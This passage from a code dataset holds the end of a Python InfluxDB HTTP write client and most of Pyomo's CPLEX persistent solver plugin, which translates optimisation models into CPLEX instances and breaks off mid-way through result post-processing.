str(e)\n ))\n return None\n else:\n raise\n else:\n return int(res.status_code)\n\n def write_metric(self, bulk, db=None, metric=None, no_raise=True):\n '''\n Пишет пачку поинтов в одну метрику\n По сути алиас для краткости/читаемости\n По умолчанию подавляет исключения\n '''\n try:\n if metric is None:\n metric = self.metric\n if db is None:\n db = self.db\n\n points = []\n for item in bulk:\n points.append(\n to_influx_str(\n metric,\n tags=item['tags'],\n val=item['value']\n )\n )\n return self.write(points, db=db, no_raise=False)\n except Exception as e:\n if no_raise:\n log.error('{} write failed1: {}'.format(\n self,\n str(e)\n ))\n else:\n log.error('re-raise')\n raise\n\n def __repr__(self):\n return ''.format(self.host, self.db)\n","sub_path":"influ/http.py","file_name":"http.py","file_ext":"py","file_size_in_byte":3489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"437408526","text":"# _________________________________________________________________________\n#\n# Pyomo: Python Optimization Modeling Objects\n# Copyright (c) 2014 Sandia Corporation.\n# Under the terms of Contract DE-AC04-94AL85000 with Sandia Corporation,\n# the U.S. Government retains certain rights in this software.\n# This software is distributed under the BSD License.\n# _________________________________________________________________________\n\nimport logging\nimport os\nimport sys\nimport re\nimport string\nimport xml.dom.minidom\nimport time\nimport math\n\nfrom six import itervalues, iterkeys, iteritems, advance_iterator\nfrom six.moves import xrange\n\nlogger = logging.getLogger('pyomo.solvers')\n\n_cplex_version = None\ntry:\n import cplex\n from cplex.exceptions import CplexError\n # create a version tuple of length 4\n _cplex_version = tuple(int(i) for i in cplex.Cplex().get_version().split('.'))\n while(len(_cplex_version) < 4):\n _cplex_version += (0,)\n _cplex_version = _cplex_version[:4]\n cplex_import_available=True\nexcept ImportError:\n cplex_import_available=False\n\nimport pyutilib.services\nimport pyutilib.common\nfrom pyutilib.misc import Bunch, Options\n\nimport pyomo.util.plugin\nfrom pyomo.opt.base import *\nfrom pyomo.opt.base.solvers import _extract_version\nfrom pyomo.opt.results import *\nfrom pyomo.opt.solver import *\nfrom pyomo.core.base import SymbolMap, BasicSymbolMap, NumericLabeler, TextLabeler\nfrom pyomo.core.base.numvalue import value\nfrom pyomo.core.base.block import active_components, active_components_data\nfrom pyomo.solvers import wrappers\n\ntry:\n unicode\nexcept:\n basestring = str\n\n\nclass CplexSolverWrapper(wrappers.MIPSolverWrapper):\n\n def __init__(self, solver):\n self.cplex = solver\n\n def add(self, constraint):\n \"\"\"TODO\"\"\"\n pass\n\n\nclass ModelSOS(object):\n def __init__(self):\n self.sosType = {}\n self.sosName = {}\n self.varnames = {}\n self.varids = {}\n self.weights = {}\n self.block_cntr = 0\n\n def count_constraint(self,symbol_map,labeler,variable_label_map,soscondata):\n\n sos_items = soscondata.get_items()\n level = soscondata.get_level()\n\n if len(sos_items) == 0:\n return\n\n self.block_cntr += 1\n varnames = self.varnames[self.block_cntr] = []\n varids = self.varids[self.block_cntr] = []\n weights = self.weights[self.block_cntr] = []\n if level == 1:\n self.sosType[self.block_cntr] = cplex.Cplex.SOS.type.SOS1\n elif level == 2:\n self.sosType[self.block_cntr] = cplex.Cplex.SOS.type.SOS2\n else:\n raise ValueError(\"Unsupported SOSConstraint level %s\" % level)\n\n self.sosName[self.block_cntr] = symbol_map.getSymbol(soscondata,labeler)\n \n for vardata, weight in sos_items:\n if vardata.fixed:\n raise RuntimeError(\"SOSConstraint '%s' includes a fixed variable '%s'. \"\n \"This is currently not supported. Deactivate this constraint \"\n \"in order to proceed\" % (soscondata.cname(True), vardata.cname(True)))\n varids.append(id(vardata))\n varnames.append(variable_label_map.getSymbol(vardata))\n weights.append(weight)\n\n\nclass CPLEXPersistent(PersistentSolver):\n \"\"\"The CPLEX LP/MIP solver\n \"\"\"\n\n pyomo.util.plugin.alias('_cplex_persistent', doc='Persistent Python interface to the CPLEX LP/MIP solver')\n\n # TBD: Eventually, the CPLEX direct plugin should be merged in with the CPLEX persistent solver plugin -\n # the capabilities are 99% similar, and should be able to co-exist following introduction of a flag.\n\n def __init__(self, **kwds):\n #\n # Call base class constructor\n #\n kwds['type'] = 'cplexpersistent'\n OptSolver.__init__(self, **kwds)\n\n # NOTE: eventually both of the following attributes should be migrated to a common base class.\n\n # is the current solve warm-started? a transient data member to communicate state information\n # across the _presolve, _apply_solver, and _postsolve methods.\n self.warm_start_solve = False\n self.symbolic_solver_labels = False\n self.output_fixed_variable_bounds = True\n\n # The working problem instance, via CPLEX python constructs. Of type Cplex.\n self._active_cplex_instance = None\n\n # Repeatedly extracting the set of variable names (which are needed to construct a results\n # solution object) via the CPLEX Python API is expensive - so we don't do it. Populated \n # following initial instance compilation, it needs to be updated when new variables are \n # added to the model.\n self._cplex_variable_names = []\n\n # for purposes of re-compiling variables, it is useful to construct a map\n # between the var_data labels (generated by the labeler object) and the \n # corresponding numeric identifier in CPLEX - name-based indexing is \n # expensive, taking time for map lookups.\n self._cplex_variable_ids = {}\n\n # Various attributes of the active cplex instance, cached for efficiency purposes.\n self._has_quadratic_constraints = False\n self._has_quadratic_objective = False\n\n # Note: Undefined capabilities default to 'None' due to the Options class implementation.\n self._capabilities = Options()\n self._capabilities.linear = True\n self._capabilities.quadratic_objective = True\n self._capabilities.quadratic_constraint = True\n self._capabilities.integer = True\n self._capabilities.sos1 = True\n self._capabilities.sos2 = True\n\n # flag allowing for the use, during solves, of user-defined callbacks.\n self.allow_callbacks = True\n\n # the CPLEX python API doesn't provide a mechanism to track\n # user/system/wall clock time, so it's up to us. stored as an\n # attribute of the plugin to facilitate persistance across \n # various portions of the method invocations.\n self._solve_user_time = None\n\n # collection of id(_VarData).\n self._referenced_variable_ids = set()\n\n # TBD - this will have to expand significantly.\n\n def available(self, exception_flag=True):\n \"\"\" True if the solver is available \"\"\"\n\n if exception_flag is False:\n return cplex_import_available\n else:\n if cplex_import_available is False:\n raise ApplicationError(\"No CPLEX <-> Python bindings available - persistent CPLEX solver functionality is not available\")\n else:\n return True\n\n def version(self):\n if _cplex_version is None:\n return _extract_version('')\n return _cplex_version\n\n #\n # TBD\n #\n def _evaluate_bound(self, exp):\n\n from pyomo.core.base import expr\n\n if exp.is_fixed():\n return exp()\n else:\n raise ValueError(\"ERROR: non-fixed bound: \" + str(exp))\n\n #\n # CPLEX requires objective expressions to be specified via something other than a sparse pair!\n # NOTE: The returned offset is guaranteed to be a float.\n #\n def _encode_constraint_body_linear(self, expression, labeler, as_pairs=False):\n\n variables = [] # string names of variables\n coefficients = [] # variable coefficients\n\n pairs = []\n\n hash_to_variable_map = expression[-1]\n self_variable_label_map = self._variable_label_map\n\n for var_hash, var_coefficient in iteritems(expression[1]):\n\n vardata = hash_to_variable_map[var_hash]\n self._referenced_variable_ids.add(id(vardata))\n variable_name = self_variable_label_map.getSymbol(vardata)\n\n if as_pairs is True:\n pairs.append((variable_name, var_coefficient))\n else:\n variables.append(variable_name)\n coefficients.append(var_coefficient)\n\n offset=0.0\n if 0 in expression:\n offset = expression[0][None]\n\n if as_pairs is True:\n return pairs, offset\n else:\n expr = cplex.SparsePair(ind=variables, val=coefficients)\n return expr, offset\n\n #\n # CPLEX requires objective expressions to be specified via something other than a sparse pair!\n # NOTE: The returned offset is guaranteed to be a float.\n # NOTE: This function is a variant of the above, specialized for LinearCanonicalRepn objects.\n #\n def _encode_constraint_body_linear_specialized(self, linear_repn, labeler, as_pairs=False):\n\n variables = [] # string names of variables\n coefficients = [] # variable coefficients\n\n pairs = []\n\n self_variable_label_map = self._variable_label_map\n self_cplex_variable_ids = self._cplex_variable_ids\n\n for i in xrange(0,len(linear_repn.linear)):\n\n var_coefficient = linear_repn.linear[i]\n var_value = linear_repn.variables[i]\n self._referenced_variable_ids.add(id(var_value))\n variable_name = self_variable_label_map.getSymbol(var_value)\n variable_id = self_cplex_variable_ids[variable_name]\n\n if as_pairs is True:\n pairs.append((variable_name, var_coefficient))\n else:\n variables.append(variable_id)\n coefficients.append(var_coefficient)\n\n offset=0.0\n if linear_repn.constant != None:\n offset = linear_repn.constant\n\n if as_pairs is True:\n return pairs, offset\n else:\n expr = cplex.SparsePair(ind=variables, val=coefficients)\n return expr, offset\n\n #\n #Handle quadratic constraints and objectives\n #\n def _encode_constraint_body_quadratic(self, expression, labeler, as_triples=False, is_obj=1.0):\n\n variables1 = [] # string names of variables\n variables2 = [] # string names of variables\n coefficients = [] # variable coefficients\n\n triples = []\n\n hash_to_variable_map = expression[-1]\n\n self_variable_label_map = self._variable_label_map\n for vrs, coeff in iteritems(expression[2]):\n\n variable_hash_iter = iterkeys(vrs)\n vardata = hash_to_variable_map[advance_iterator(variable_hash_iter)]\n self._referenced_variable_ids.add(id(vardata))\n var1 = self_variable_label_map.getSymbol(vardata)\n if len(vrs)==2:\n vardata = hash_to_variable_map[advance_iterator(variable_hash_iter)]\n self._referenced_variable_ids.add(id(vardata))\n var2 = self_variable_label_map.getSymbol(vardata)\n else:\n var2 = var1\n\n if as_triples is True:\n triples.append((var1, var2, is_obj*coeff))\n else:\n variables1.append(var1)\n variables2.append(var2)\n coefficients.append(coeff)\n\n if as_triples is True:\n return triples \n else:\n expr = cplex.SparseTriple(ind1=variables1,ind2=variables2,val=coefficients)\n return expr\n\n #\n # updates all variable bounds in the compiled model - handles fixed variables and related issues.\n # re-does everything from scratch by default, ignoring whatever was specified previously. if the\n # value associated with the keyword vars_to_update is a non-empty list (assumed to be variable\n # name / index pairs), then only the bounds for those variables are updated.\n #\n # this function assumes that the variables themselves already exist in the compiled model.\n # \n def compile_variable_bounds(self, pyomo_instance, vars_to_update):\n\n from pyomo.core.base import Var\n\n if self._active_cplex_instance is None:\n raise RuntimeError(\"***The CPLEXPersistent solver plugin cannot compile variable bounds - no instance is presently compiled\")\n \n # the bound update entries should be name-value pairs\n new_lower_bounds = [] \n new_upper_bounds = [] \n\n # operates through side effects on the above lists!\n def update_bounds_lists(var_name):\n\n var_lb = None\n var_ub = None\n\n if var_data.fixed and self.output_fixed_variable_bounds:\n var_lb = var_ub = var_data.value\n elif var_data.fixed:\n # if we've been directed to not deal with fixed variables, then skip - \n # they should have been compiled out of any description of the constraints\n return\n else:\n if var_data.lb is None:\n var_lb = -cplex.infinity\n else:\n var_lb = value(var_data.lb)\n\n if var_data.ub is None:\n var_ub = cplex.infinity\n else:\n var_ub= value(var_data.ub)\n\n var_cplex_id = self._cplex_variable_ids[var_name]\n\n new_lower_bounds.append((var_cplex_id, var_lb))\n new_upper_bounds.append((var_cplex_id, var_ub))\n\n if len(vars_to_update) == 0:\n for block in pyomo_instance.all_blocks(active=True):\n for var_data in active_components_data(block, Var):\n var_name = self._symbol_map.getSymbol( var_data, self._labeler )\n update_bounds_lists(var_name)\n else:\n for var_name, var_index in vars_to_update:\n var = pyomo_instance.find_component(var_name)\n # TBD - do some error checking!\n var_data = var[var_index]\n var_name = self._symbol_map.getSymbol( var_data, self._labeler )\n update_bounds_lists(var_name)\n\n self._active_cplex_instance.variables.set_lower_bounds(new_lower_bounds)\n self._active_cplex_instance.variables.set_upper_bounds(new_upper_bounds)\n\n #\n # method to compile objective of the input pyomo instance.\n # TBD: it may be smarter just to track the associated pyomo instance,\n # and re-compile it automatically from a cached local attribute.\n # this would ensure consistency, among other things!\n # \n def compile_objective(self, pyomo_instance):\n\n from pyomo.core.base import Objective\n from pyomo.repn import canonical_is_constant, LinearCanonicalRepn\n\n model_canonical_repn = getattr(pyomo_instance,\"canonical_repn\",None)\n if model_canonical_repn is None:\n raise ValueError(\"No canonical_repn ComponentMap was found on \"\n \"block with name %s. Did you forget to preprocess?\"\n % (pyomo_instance.cname(True)))\n\n cplex_instance = self._active_cplex_instance\n\n for cntr, obj_data in enumerate(active_components_data(pyomo_instance,Objective),1):\n\n if cntr > 1:\n raise ValueError(\"Multiple active objectives found on Pyomo instance '%s'. \"\n \"Solver '%s' will only handle a single active objective\" \\\n % (pyomo_instance.cname(True), self.type))\n\n if obj_data.is_minimizing():\n cplex_instance.objective.set_sense(cplex_instance.objective.sense.minimize)\n else:\n cplex_instance.objective.set_sense(cplex_instance.objective.sense.maximize)\n \n cplex_instance.objective.set_name(self._symbol_map.getSymbol(obj_data, self._labeler))\n\n obj_repn = model_canonical_repn.get(obj_data)\n if obj_repn is None:\n raise ValueError(\"No entry found in canonical_repn ComponentMap on \"\n \"block %s for active objective with name %s. \"\n \"Did you forget to preprocess?\"\n % (pyomo_instance.cname(True), obj_data.cname(True)))\n\n if (isinstance(obj_repn, LinearCanonicalRepn) and (obj_repn.linear == None)) or canonical_is_constant(obj_repn):\n print(\"Warning: Constant objective detected, replacing \" + \\\n \"with a placeholder to prevent solver failure.\")\n\n objective_expression = [(\"ONE_VAR_CONSTANT\",offset)]\n cplex_instance.objective.set_linear(objective_expression)\n \n else:\n\n if isinstance(obj_repn, LinearCanonicalRepn):\n objective_expression, offset = self._encode_constraint_body_linear_specialized(obj_repn, self._labeler, as_pairs=True) # how to deal with indexed objectives?\n if offset != 0.0:\n objective_expression.append((\"ONE_VAR_CONSTANT\",offset))\n cplex_instance.objective.set_linear(objective_expression)\n else:\n #Linear terms\n if 1 in obj_repn:\n objective_expression, offset = self._encode_constraint_body_linear(obj_repn, self._labeler, as_pairs=True) # how to deal with indexed objectives?\n if offset != 0.0:\n objective_expression.append((\"ONE_VAR_CONSTANT\",offset))\n cplex_instance.objective.set_linear(objective_expression)\n\n #Quadratic terms \n if 2 in obj_repn:\n self._has_quadratic_objective = True\n objective_expression = self._encode_constraint_body_quadratic(obj_repn, self._labeler, as_triples=True, is_obj=2.0) # how to deal with indexed objectives?\n cplex_instance.objective.set_quadratic_coefficients(objective_expression)\n\n #\n # method to populate the CPLEX problem instance (interface) from the supplied Pyomo problem instance.\n #\n def compile_instance(self, pyomo_instance):\n\n from pyomo.core.base import Var, Constraint, IntegerSet, BooleanSet, SOSConstraint\n from pyomo.core.base.objective import minimize, maximize\n from pyomo.repn import canonical_is_constant, LinearCanonicalRepn\n \n self._has_quadratic_constraints = False\n self._has_quadratic_objective = False\n used_sos_constraints = False\n\n self._active_cplex_instance = cplex.Cplex()\n\n if self.symbolic_solver_labels is True:\n labeler = self._labeler = TextLabeler()\n else:\n labeler = self._labeler = NumericLabeler('x')\n self._symbol_map = SymbolMap(pyomo_instance)\n # we use this when iterating over the constraints because it will have a much smaller hash\n # table, we also use this for the warm start code after it is cleaned to only contain\n # variables referenced in the constraints\n self._variable_label_map = BasicSymbolMap()\n\n # cplex wants the caller to set the problem type, which is (for current\n # purposes) strictly based on variable type counts.\n num_binary_variables = 0\n num_integer_variables = 0\n num_continuous_variables = 0\n\n # transfer the variables from pyomo to cplex.\n var_names = []\n var_lbs = []\n var_ubs = []\n var_types = []\n\n self._referenced_variable_ids.clear()\n\n # maps pyomo var data labels to the corresponding CPLEX variable id.\n self._cplex_variable_ids.clear()\n\n # cached in the loop below - used to update the symbol map\n # immediately following loop termination.\n var_label_pairs = []\n\n for block in pyomo_instance.all_blocks(active=True):\n for var_data in active_components_data(block, Var):\n if var_data.fixed and not self.output_fixed_variable_bounds:\n # if a variable is fixed, and we're preprocessing\n # fixed variables (as in not outputting them), there\n # is no need to add them to the compiled model.\n continue\n var_name = self._symbol_map.getSymbol(var_data, labeler)\n var_names.append(var_name)\n var_label_pairs.append((var_data, var_name))\n\n self._cplex_variable_ids[var_name] = len(self._cplex_variable_ids)\n\n if var_data.lb is None:\n var_lbs.append(-cplex.infinity)\n else:\n var_lbs.append(value(var_data.lb))\n if var_data.ub is None:\n var_ubs.append(cplex.infinity)\n else:\n var_ubs.append(value(var_data.ub))\n\n if var_data.is_integer():\n var_types.append(self._active_cplex_instance.variables.type.integer)\n num_integer_variables += 1\n elif var_data.is_binary():\n var_types.append(self._active_cplex_instance.variables.type.binary)\n num_binary_variables += 1\n elif var_data.is_continuous():\n var_types.append(self._active_cplex_instance.variables.type.continuous)\n num_continuous_variables += 1\n else:\n raise TypeError(\"Invalid domain type for variable with name '%s'. \"\n \"Variable is not continuous, integer, or binary.\")\n\n self._active_cplex_instance.variables.add(names=var_names, lb=var_lbs, ub=var_ubs, types=var_types)\n self._active_cplex_instance.variables.add(lb=[1],ub=[1],names=[\"ONE_VAR_CONSTANT\"])\n\n self._variable_label_map.updateSymbols(var_label_pairs)\n self._cplex_variable_names = self._active_cplex_instance.variables.get_names()\n\n # transfer the constraints.\n expressions = []\n senses = []\n rhss = []\n range_values = []\n names = []\n\n qexpressions = []\n qlinears = []\n qsenses = []\n qrhss = []\n qnames = []\n\n for block in pyomo_instance.all_blocks(active=True):\n\n block_canonical_repn = getattr(block,\"canonical_repn\",None)\n if block_canonical_repn is None:\n raise ValueError(\"No canonical_repn ComponentMap was found on \"\n \"block with name %s. Did you forget to preprocess?\"\n % (block.cname(True)))\n\n for constraint in active_components(block, Constraint):\n if constraint.trivial:\n continue\n\n for con in itervalues(constraint): # TBD: more efficient looping here.\n if not con.active:\n continue\n\n con_repn = block_canonical_repn.get(con)\n if con_repn is None:\n raise ValueError(\"No entry found in canonical_repn ComponentMap on \"\n \"block %s for active constraint with name %s. \"\n \"Did you forget to preprocess?\"\n % (block.cname(True), con.cname(True)))\n\n # There are conditions, e.g., when fixing variables, under which\n # a constraint block might be empty. Ignore these, for both\n # practical reasons and the fact that the CPLEX LP format\n # requires a variable in the constraint body. It is also\n # possible that the body of the constraint consists of only a\n # constant, in which case the \"variable\" of\n if isinstance(con_repn, LinearCanonicalRepn):\n if con_repn.linear == None:\n continue\n else:\n if canonical_is_constant(con_repn):\n continue\n\n name=self._symbol_map.getSymbol(con,labeler)\n expr=None\n qexpr=None\n\n #Linear constraints\n quadratic = False\n if isinstance(con_repn, LinearCanonicalRepn):\n expr, offset = self._encode_constraint_body_linear_specialized(con_repn, labeler)\n elif 2 in con_repn:\n quadratic=True\n elif 1 in con_repn:\n expr, offset = self._encode_constraint_body_linear(con_repn, labeler)\n\n #Quadratic constraints\n if quadratic is True:\n if expr is None:\n expr = cplex.SparsePair(ind=[0],val=[0.0])\n self._has_quadratic_constraints = True\n\n qexpr = self._encode_constraint_body_quadratic(con_repn,labeler)\n qnames.append(name)\n\n if con._equality:\n # equality constraint.\n qsenses.append('E')\n bound_expr = con.lower\n bound = self._evaluate_bound(bound_expr)\n qrhss.append(bound)\n\n elif con.lower is not None:\n assert con.upper is not None\n qsenses.append('G')\n bound_expr = con.lower\n bound = self._evaluate_bound(bound_expr)\n qrhss.append(bound)\n\n else:\n qsenses.append('L')\n bound_expr = con.upper\n bound = self._evaluate_bound(bound_expr)\n qrhss.append(bound)\n\n qlinears.append(expr)\n qexpressions.append(qexpr)\n\n else:\n names.append(name)\n expressions.append(expr)\n\n if con._equality:\n # equality constraint.\n senses.append('E')\n bound_expr = con.lower\n bound = self._evaluate_bound(bound_expr) - offset\n rhss.append(bound)\n range_values.append(0.0)\n\n elif (con.lower is not None) and (con.upper is not None):\n # ranged constraint.\n senses.append('R')\n lower_bound_expr = con.lower # TBD - watch the offset - why not subtract?\n lower_bound = self._evaluate_bound(lower_bound_expr)\n upper_bound_expr = con.upper # TBD - watch the offset - why not subtract?\n upper_bound = self._evaluate_bound(upper_bound_expr)\n rhss.append(lower_bound)\n range_values.append(upper_bound-lower_bound)\n\n elif con.lower is not None:\n senses.append('G')\n bound_expr = con.lower\n bound = self._evaluate_bound(bound_expr) - offset\n rhss.append(bound)\n range_values.append(0.0)\n\n else:\n senses.append('L')\n bound_expr = con.upper\n bound = self._evaluate_bound(bound_expr) - offset\n rhss.append(bound)\n range_values.append(0.0)\n\n # SOS constraints - largely taken from cpxlp.py so updates there,\n # should be applied here\n # TODO: Allow users to specify the variables coefficients for custom\n # branching/set orders - refer to cpxlp.py\n sosn = self._capabilities.sosn\n sos1 = self._capabilities.sos1\n sos2 = self._capabilities.sos2\n modelSOS = ModelSOS()\n for block in pyomo_instance.all_blocks(active=True):\n for soscondata in active_components_data(block,SOSConstraint):\n level = soscondata.get_level()\n if (level == 1 and not sos1) or (level == 2 and not sos2) or (level > 2 and not sosn):\n raise Exception(\"Solver does not support SOS level %s constraints\" % (level,))\n modelSOS.count_constraint(self._symbol_map,\n labeler,\n self._variable_label_map,\n soscondata)\n\n if modelSOS.sosType:\n for key in modelSOS.sosType:\n self._active_cplex_instance.SOS.add(type = modelSOS.sosType[key], \\\n name = modelSOS.sosName[key], \\\n SOS = [modelSOS.varnames[key], modelSOS.weights[key]] )\n self._referenced_variable_ids.update(modelSOS.varids[key])\n used_sos_constraints = True\n\n self._active_cplex_instance.linear_constraints.add(lin_expr=expressions, senses=senses, rhs=rhss, range_values=range_values, names=names)\n\n for index in xrange(len(qexpressions)):\n self._active_cplex_instance.quadratic_constraints.add(lin_expr=qlinears[index], quad_expr=qexpressions[index], sense=qsenses[index], rhs=qrhss[index], name=qnames[index])\n \n # transfer the objective.\n self.compile_objective(pyomo_instance)\n\n # set the problem type based on the variable counts.\n if (self._has_quadratic_objective is True) or (self._has_quadratic_constraints is True):\n if (num_integer_variables > 0) or (num_binary_variables > 0) or (used_sos_constraints):\n if self._has_quadratic_constraints is True:\n self._active_cplex_instance.set_problem_type(self._active_cplex_instance.problem_type.MIQCP)\n else:\n self._active_cplex_instance.set_problem_type(self._active_cplex_instance.problem_type.MIQP)\n else:\n if self._has_quadratic_constraints is True:\n self._active_cplex_instance.set_problem_type(self._active_cplex_instance.problem_type.QCP)\n else:\n self._active_cplex_instance.set_problem_type(self._active_cplex_instance.problem_type.QP)\n elif (num_integer_variables > 0) or (num_binary_variables > 0) or (used_sos_constraints):\n self._active_cplex_instance.set_problem_type(self._active_cplex_instance.problem_type.MILP)\n else:\n self._active_cplex_instance.set_problem_type(self._active_cplex_instance.problem_type.LP)\n\n #\n # simple method to query whether a Pyomo instance has already been compiled.\n #\n def instance_compiled(self):\n\n return self._active_cplex_instance != None\n\n #\n # warm-starting is built-in - whatever values are present in the populated CPLEX model will be used by default.\n #\n def warm_start_capable(self):\n\n return True\n\n #\n # propagate variable values from the Pyomo _VarData objects to the corresponding\n # CPLEX variable entries.\n #\n def warm_start(self, instance): \n\n if self._active_cplex_instance is None:\n raise RuntimeError(\"***The CPLEXPersistent solver plugin cannot warm start - no instance is presently compiled\")\n\n # clear any existing warm starts.\n self._active_cplex_instance.MIP_starts.delete()\n\n # the iteration order is identical to that used in generating\n # the cplex instance, so all should be well.\n variable_ids = []\n variable_values = []\n\n for label, var_data in iteritems(self._variable_label_map.bySymbol):\n cplex_id = self._cplex_variable_ids[label]\n if var_data.fixed and not self.output_fixed_variable_bounds:\n continue\n elif var_data.value is not None:\n variable_ids.append(cplex_id)\n variable_values.append(var_data.value)\n\n if len(variable_ids):\n self._active_cplex_instance.MIP_starts.add([variable_ids, variable_values],\n self._active_cplex_instance.MIP_starts.effort_level.auto)\n\n # over-ride presolve to extract the warm-start keyword, if specified.\n def _presolve(self, *args, **kwds):\n\n if self._active_cplex_instance is None:\n raise RuntimeError(\"***The CPLEXPersistent solver plugin cannot presolve - no instance is presently compiled\")\n\n from pyomo.core.base.var import Var\n from pyomo.core.base.PyomoModel import Model\n\n self.warm_start_solve = False\n self.keepfiles = False\n self.tee = False\n self.symbolic_solver_labels = False\n for key in kwds:\n ### copied from base class _presolve\n warn = False\n if key == \"logfile\":\n if kwds[key] is not None:\n warn = True\n elif key == \"solnfile\":\n if kwds[key] is not None:\n warn = True\n elif key == \"timelimit\":\n if kwds[key] is not None:\n warn = True\n elif key == \"tee\":\n self.tee=bool(kwds[key])\n elif key == \"options\":\n self.set_options(kwds[key])\n elif key == \"available\":\n self._assert_available=True\n elif key == \"symbolic_solver_labels\":\n self.symbolic_solver_labels = bool(kwds[key])\n elif key == \"output_fixed_variable_bounds\":\n self.output_fixed_variable_bounds = kwds[key]\n elif key == \"suffixes\":\n self.suffixes=kwds[key]\n ###\n elif key == 'keepfiles':\n self.keepfiles = bool(kwds[key])\n elif key == 'warmstart':\n self.warm_start_solve = bool(kwds[key])\n else:\n raise ValueError(\"Unknown option=\"+key+\" for solver=\"+self.type)\n\n if warn is True:\n logger.warn('\"'+key+'\" keyword ignored by solver='+self.type)\n\n # like other solver plugins, persistent solver plugins can take an \n # instance as an input argument. the only context in which this instance\n # is used, however, is for warm-starting. \n if len(args) > 2:\n msg = \"The CPLEXPersistent plugin method '_presolve' can be supplied \"\\\n \"at most one problem instance - %s were supplied\"\n raise ValueError(msg % len(args))\n\n # TBD - not sure about this stuff\n # Clean up the symbol map to only contain variables referenced in the constraints\n # **NOTE**: The warmstart method (if called below), relies on a \"clean\" symbol map\n vars_to_delete = set(self._variable_label_map.byObject.keys())-self._referenced_variable_ids\n sm_byObject = self._symbol_map.byObject\n sm_bySymbol = self._symbol_map.bySymbol\n assert(len(self._symbol_map.aliases) == 0)\n var_sm_byObject = self._variable_label_map.byObject\n var_sm_bySymbol = self._variable_label_map.bySymbol\n for varid in vars_to_delete:\n symbol = var_sm_byObject[varid]\n del sm_byObject[varid]\n del sm_bySymbol[symbol]\n del var_sm_byObject[varid]\n del var_sm_bySymbol[symbol]\n\n if 'write' in self.options:\n fname = self.options.write\n self._active_cplex_instance.write(fname)\n\n # Handle other keywords\n\n # if the first argument is a string (representing a filename),\n # then we don't have an instance => the solver is being applied\n # to a file.\n\n # FIXME: This appears to be a bogus test: we raise an exception\n # above if len(args) != 1 or type(args[0]) != Model\n if (len(args) > 0) and not isinstance(args[0], basestring):\n\n # write the warm-start file - currently only supports MIPs.\n # we only know how to deal with a single problem instance.\n if self.warm_start_solve is True:\n\n if len(args) != 1:\n msg = \"CPLEX _presolve method can only handle a single \" \\\n \"problem instance - %s were supplied\"\n raise ValueError(msg % len(args))\n \n cplex_instance = self._active_cplex_instance\n if cplex_instance.get_problem_type() in (cplex_instance.problem_type.MILP,\n cplex_instance.problem_type.MIQP,\n cplex_instance.problem_type.MIQCP):\n start_time = time.time()\n self.warm_start(args[0])\n end_time = time.time()\n if self._report_timing is True:\n print(\"Warm start write time=%.2f seconds\" % (end_time-start_time))\n\n #\n # invoke the solver on the currently compiled instance!!!\n #\n def _apply_solver(self):\n\n if self._active_cplex_instance is None:\n raise RuntimeError(\"***The CPLEXPersistent solver plugin cannot apply solver - no instance is presently compiled\")\n\n # set up all user-specified parameters.\n if (self.options.mipgap is not None) and (self.options.mipgap > 0.0):\n self._active_cplex_instance.parameters.mip.tolerances.mipgap.set(self.options.mipgap)\n\n for key in self.options:\n if key == 'relax_integrality' or key == 'mipgap' or key == 'write':\n continue\n else:\n opt_cmd = self._active_cplex_instance.parameters\n key_pieces = key.split('_')\n for key_piece in key_pieces:\n opt_cmd = getattr(opt_cmd,key_piece)\n opt_cmd.set(self.options[key])\n\n if 'relax_integrality' in self.options:\n self._active_cplex_instance.set_problem_type(self._active_cplex_instance.problem_type.LP)\n \n # and kick off the solve.\n if self.tee == True:\n #Should this use pyutilib's tee_io? I couldn't find where\n #other solvers set output using tee=True/False\n from sys import stdout\n self._active_cplex_instance.set_results_stream(stdout)\n elif self.keepfiles == True:\n log_file = pyutilib.services.TempfileManager.create_tempfile(suffix = '.cplex.log')\n print(\"Solver log file: \" + log_file)\n self._active_cplex_instance.set_results_stream(log_file)\n #Not sure why the following doesn't work. As a result, it's either stream output\n #or write a logfile, but not both.\n #self._active_cplex_instance.set_log_stream(log_file)\n else:\n self._active_cplex_instance.set_results_stream(None)\n\n # NOTE:\n # CPLEX maintains the pool of feasible solutions from the \n # prior solve as the set of mip starts for the next solve.\n # and evaluating multiple mip starts (and there can be many)\n # is expensive. so if the warm_start method is not invoked, \n # there will potentially be a lot of time wasted. \n\n # apparently some versions of the CPLEX Python bindings do not\n # have the get_time - so check before accessing.\n if hasattr(self._active_cplex_instance, \"get_time\"):\n solve_start_time = self._active_cplex_instance.get_time()\n self._active_cplex_instance.solve()\n self._solve_user_time = self._active_cplex_instance.get_time() - solve_start_time\n else:\n self._active_cplex_instance.solve()\n self._solve_user_time = None\n\n # FIXME: can we get a return code indicating if CPLEX had a\n # significant failure?\n return Bunch(rc=None, log=None)\n\n def _postsolve(self):\n\n if self._active_cplex_instance is None:\n raise RuntimeError(\"***The CPLEXPersistent solver plugin cannot postsolve - no instance is presently compiled\")\n\n # the only suffixes that we extract from CPLEX are\n # constraint duals, constraint slacks, and variable\n # reduced-costs. scan through the solver suffix list\n # and throw an exception if the user has specified\n # any others.\n extract_duals = False\n extract_slacks = False\n extract_reduced_costs = False\n for suffix in self.suffixes:\n flag=False\n if re.match(suffix,\"dual\"):\n extract_duals = True\n flag=True\n if re.match(suffix,\"slack\"):\n extract_slacks = True\n flag=True\n if re.match(suffix,\"rc\"):\n extract_reduced_costs = True\n flag=True\n if not flag:\n raise RuntimeError(\"***The CPLEXPersistent solver plugin cannot extract solution suffix=\"+suffix)\n\n instance = self._active_cplex_instance\n\n if instance.get_problem_type() in [instance.problem_type.MILP,\n instance.problem_type.MIQP,\n instance.problem_type.MIQCP]:\n extract_reduced_costs = False\n extract_duals = False\n\n results = SolverResults()\n results.problem.name = instance.get_problem_name()\n results.problem.lower_bound = None \n results.problem.upper_bound = None\n results.problem.number_of_variables = instance.variables.get_num()\n results.problem.number_of_constraints = instance.linear_constraints.get_num() \\\n + instance.quadratic_constraints.get_num() \\\n + instance.indicator_constraints.get_num() \\\n + instance.SOS.get_num()\n results.problem.number_of_nonzeros = None\n results.problem.number_of_binary_variables = instance.variables.get_num_binary()\n results.problem.number_of_integer_variables = instance.variables.get_num_integer()\n results.problem.number_of_continuous_variables = instance.variables.get_num() \\\n - instance.variables.get_num_binary() \\\n - instance.variables.get_num_integer() \\\n - instance.variables.get_num_semiinteger()\n #TODO: Does this double-count semi-integers?\n #Should we also remove semi-continuous?\n results.problem.number_of_objectives = 1\n\n results.solver.name = \"CPLEX \"+instance.get_version()\n# results.solver.status = 